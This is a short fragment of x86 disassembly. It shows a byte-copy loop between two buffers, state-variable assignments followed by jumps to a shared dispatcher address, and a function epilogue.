jmp 0x408f9a
mov eax, 0
mov ecx, dword [ebp - 0xa4]
mov edx, dword [ebp - 0x98]
mov bl, byte [edx + ecx]
mov ecx, dword [ebp - 0xa4]
mov edx, dword [ebp - 0x9c]
mov byte [edx + ecx], bl
mov ecx, dword [ebp - 0xa4]
sub eax, 1
sub ecx, eax
mov dword [ebp - 0xa4], ecx
mov dword [ebp - 0xcc], 0xd162f8fc
jmp 0x408f9a
mov dword [ebp - 0xcc], 0xd2a8df9
jmp 0x408f9a
mov eax, dword [ebp - 0x9c]
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0xcc], 0xd7b921eb
jmp 0x408f9a
mov eax, dword [ebp - 0x6c]
add esp, 0x278
pop esi
pop edi
pop ebx
pop ebp
ret
jmp 0x407af6